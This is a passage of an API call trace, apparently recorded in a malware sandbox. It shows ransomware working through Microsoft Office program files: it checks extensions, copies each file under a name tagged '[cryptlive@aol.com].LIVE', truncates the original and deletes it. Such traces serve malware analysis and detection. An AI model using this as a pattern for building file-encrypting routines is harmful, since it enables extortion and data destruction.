office\\office14\\1033\\infintl.dll")) returned 0x20 [0141.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0141.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0141.446] lstrlenW (lpString=".doc") returned 4 [0141.446] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0141.446] lstrlenW (lpString=".docx") returned 5 [0141.446] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0141.446] lstrlenW (lpString=".pdf") returned 4 [0141.446] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0141.446] lstrlenW (lpString=".xls") returned 4 [0141.446] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0141.446] lstrlenW (lpString=".xlsx") returned 5 [0141.446] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0141.446] lstrlenW (lpString=".ppt") returned 4 [0141.446] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0141.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0141.446] lstrlenW (lpString=".zip") returned 4 [0141.446] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0141.446] lstrlenW (lpString=".rar") returned 4 [0141.446] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0141.446] lstrlenW (lpString=".bz2") returned 4 [0141.447] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0141.447] lstrlenW (lpString=".7z") returned 3 [0141.447] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0141.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0141.447] lstrlenW (lpString=".dbf") returned 4 [0141.447] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0141.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0141.447] lstrlenW (lpString=".1cd") returned 4 [0141.447] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0141.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0141.447] lstrlenW (lpString=".jpg") returned 4 [0141.447] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0141.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0141.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0141.447] lstrlenW (lpString=".doc") returned 4 [0141.447] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0141.447] lstrlenW (lpString=".docx") returned 5 [0141.447] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0141.447] lstrlenW (lpString=".pdf") returned 4 [0141.447] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0141.447] lstrlenW (lpString=".xls") returned 4 [0141.447] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0141.447] lstrlenW (lpString=".xlsx") returned 5 [0141.447] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0141.447] lstrlenW (lpString=".ppt") returned 4 [0141.447] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0141.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0141.447] lstrlenW (lpString=".zip") returned 4 [0141.447] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0141.447] lstrlenW (lpString=".rar") returned 4 [0141.447] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0141.447] lstrlenW (lpString=".bz2") returned 4 [0141.447] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0141.447] lstrlenW (lpString=".7z") returned 3 [0141.447] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0141.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0141.448] lstrlenW (lpString=".dbf") returned 4 [0141.448] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0141.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0141.448] lstrlenW (lpString=".1cd") returned 4 [0141.448] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0141.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0141.448] lstrlenW (lpString=".jpg") returned 4 [0141.448] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0141.448] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0141.448] lstrlenW (lpString="INFOPATH.HXS") returned 12 [0141.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0141.448] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1527046) returned 1 [0141.449] CloseHandle (hObject=0x3ac) returned 1 [0141.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs")) returned 0x20 [0141.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0141.449] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.449] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0141.450] GetLastError () returned 0x0 [0141.450] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0141.496] WriteFile (in: hFile=0x388, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0141.541] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x74d16, lpOverlapped=0x0) returned 1 [0141.556] WriteFile (in: hFile=0x388, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x74d20, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x74d20, lpOverlapped=0x0) returned 1 [0141.741] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.741] WriteFile (in: hFile=0x388, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.741] SetEndOfFile (hFile=0x388) returned 1 [0142.113] CloseHandle (hObject=0x388) returned 1 [0142.113] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.113] SetEndOfFile (hFile=0x3ac) returned 1 [0142.439] CloseHandle (hObject=0x3ac) returned 1 [0142.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.439] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs")) returned 1 [0142.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0142.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0142.439] lstrlenW (lpString=".doc") returned 4 [0142.440] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0142.440] lstrlenW (lpString=".docx") returned 5 [0142.440] lstrcmpiW (lpString1=".docx", lpString2="H.HXS") returned -1 [0142.440] lstrlenW (lpString=".pdf") returned 4 [0142.440] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0142.440] lstrlenW (lpString=".xls") returned 4 [0142.440] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0142.440] lstrlenW (lpString=".xlsx") returned 5 [0142.440] lstrcmpiW (lpString1=".xlsx", lpString2="H.HXS") returned -1 [0142.440] lstrlenW (lpString=".ppt") returned 4 [0142.440] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0142.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0142.440] lstrlenW (lpString=".zip") returned 4 [0142.440] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0142.440] lstrlenW (lpString=".rar") returned 4 [0142.440] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0142.440] lstrlenW (lpString=".bz2") returned 4 [0142.440] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0142.440] lstrlenW (lpString=".7z") returned 3 [0142.440] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0142.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0142.440] lstrlenW (lpString=".dbf") returned 4 [0142.440] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0142.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0142.440] lstrlenW (lpString=".1cd") returned 4 [0142.440] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0142.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0142.440] lstrlenW (lpString=".jpg") returned 4 [0142.440] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0142.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0142.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0142.440] lstrlenW (lpString=".doc") returned 4 [0142.440] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0142.440] lstrlenW (lpString=".docx") returned 5 [0142.440] lstrcmpiW (lpString1=".docx", lpString2="H.HXS") returned -1 [0142.440] lstrlenW (lpString=".pdf") returned 4 [0142.441] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0142.441] lstrlenW (lpString=".xls") returned 4 [0142.441] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0142.441] lstrlenW (lpString=".xlsx") returned 5 [0142.441] lstrcmpiW (lpString1=".xlsx", lpString2="H.HXS") returned -1 [0142.441] lstrlenW (lpString=".ppt") returned 4 [0142.441] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0142.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0142.441] lstrlenW (lpString=".zip") returned 4 [0142.441] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0142.441] lstrlenW (lpString=".rar") returned 4 [0142.441] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0142.441] lstrlenW (lpString=".bz2") returned 4 [0142.441] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0142.441] lstrlenW (lpString=".7z") returned 3 [0142.441] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0142.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0142.441] lstrlenW (lpString=".dbf") returned 4 [0142.441] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0142.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0142.441] lstrlenW (lpString=".1cd") returned 4 [0142.441] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0142.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0142.441] lstrlenW (lpString=".jpg") returned 4 [0142.441] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0142.441] lstrcmpiW (lpString1=".VSL", lpString2=".LIVE") returned 1 [0142.441] lstrlenW (lpString="LGND.VSL") returned 8 [0142.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0142.446] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=39296) returned 1 [0142.446] CloseHandle (hObject=0x3a4) returned 1 [0142.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl")) returned 0x20 [0142.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0142.446] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.446] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0142.447] GetLastError () returned 0x0 [0142.447] ReadFile (in: hFile=0x3a4, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x9980, lpOverlapped=0x0) returned 1 [0142.464] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x9990, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x9990, lpOverlapped=0x0) returned 1 [0142.466] ReadFile (in: hFile=0x3a4, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.466] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0142.466] SetEndOfFile (hFile=0x3ac) returned 1 [0142.466] CloseHandle (hObject=0x3ac) returned 1 [0142.466] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.467] SetEndOfFile (hFile=0x3a4) returned 1 [0142.470] CloseHandle (hObject=0x3a4) returned 1 [0142.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.470] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl")) returned 1 [0142.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0142.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0142.471] lstrlenW (lpString=".doc") returned 4 [0142.471] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0142.471] lstrlenW (lpString=".docx") returned 5 [0142.471] lstrcmpiW (lpString1=".docx", lpString2="D.VSL") returned -1 [0142.471] lstrlenW (lpString=".pdf") returned 4 [0142.471] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0142.471] lstrlenW (lpString=".xls") returned 4 [0142.471] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0142.471] lstrlenW (lpString=".xlsx") returned 5 [0142.471] lstrcmpiW (lpString1=".xlsx", lpString2="D.VSL") returned -1 [0142.471] lstrlenW (lpString=".ppt") returned 4 [0142.471] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0142.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0142.471] lstrlenW (lpString=".zip") returned 4 [0142.471] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0142.471] lstrlenW (lpString=".rar") returned 4 [0142.471] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0142.472] lstrlenW (lpString=".bz2") returned 4 [0142.472] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0142.472] lstrlenW (lpString=".7z") returned 3 [0142.472] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0142.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0142.472] lstrlenW (lpString=".dbf") returned 4 [0142.472] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0142.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0142.472] lstrlenW (lpString=".1cd") returned 4 [0142.472] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0142.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0142.472] lstrlenW (lpString=".jpg") returned 4 [0142.472] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0142.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0142.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0142.472] lstrlenW (lpString=".doc") returned 4 [0142.472] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0142.472] lstrlenW (lpString=".docx") returned 5 [0142.472] lstrcmpiW (lpString1=".docx", lpString2="D.VSL") returned -1 [0142.472] lstrlenW (lpString=".pdf") returned 4 [0142.472] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0142.472] lstrlenW (lpString=".xls") returned 4 [0142.472] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0142.472] lstrlenW (lpString=".xlsx") returned 5 [0142.472] lstrcmpiW (lpString1=".xlsx", lpString2="D.VSL") returned -1 [0142.472] lstrlenW (lpString=".ppt") returned 4 [0142.472] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0142.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0142.472] lstrlenW (lpString=".zip") returned 4 [0142.472] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0142.472] lstrlenW (lpString=".rar") returned 4 [0142.472] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0142.472] lstrlenW (lpString=".bz2") returned 4 [0142.472] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0142.472] lstrlenW (lpString=".7z") returned 3 [0142.472] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0142.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0142.473] lstrlenW (lpString=".dbf") returned 4 [0142.473] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0142.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0142.473] lstrlenW (lpString=".1cd") returned 4 [0142.473] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0142.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0142.473] lstrlenW (lpString=".jpg") returned 4 [0142.473] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0142.473] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0142.473] lstrlenW (lpString="MAPIR.DLL") returned 9 [0142.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0142.476] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1124720) returned 1 [0142.476] CloseHandle (hObject=0x3a4) returned 1 [0142.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll")) returned 0x20 [0142.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0142.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0142.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0142.476] lstrlenW (lpString=".doc") returned 4 [0142.476] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0142.476] lstrlenW (lpString=".docx") returned 5 [0142.476] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0142.476] lstrlenW (lpString=".pdf") returned 4 [0142.476] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0142.476] lstrlenW (lpString=".xls") returned 4 [0142.476] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0142.476] lstrlenW (lpString=".xlsx") returned 5 [0142.476] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0142.476] lstrlenW (lpString=".ppt") returned 4 [0142.476] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0142.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0142.477] lstrlenW (lpString=".zip") returned 4 [0142.477] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0142.477] lstrlenW (lpString=".rar") returned 4 [0142.477] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0142.477] lstrlenW (lpString=".bz2") returned 4 [0142.477] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0142.477] lstrlenW (lpString=".7z") returned 3 [0142.477] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0142.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0142.477] lstrlenW (lpString=".dbf") returned 4 [0142.477] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0142.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0142.477] lstrlenW (lpString=".1cd") returned 4 [0142.477] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0142.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0142.477] lstrlenW (lpString=".jpg") returned 4 [0142.477] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0142.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0142.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0142.477] lstrlenW (lpString=".doc") returned 4 [0142.477] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0142.477] lstrlenW (lpString=".docx") returned 5 [0142.477] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0142.477] lstrlenW (lpString=".pdf") returned 4 [0142.477] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0142.477] lstrlenW (lpString=".xls") returned 4 [0142.477] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0142.477] lstrlenW (lpString=".xlsx") returned 5 [0142.477] lstrcmpiW 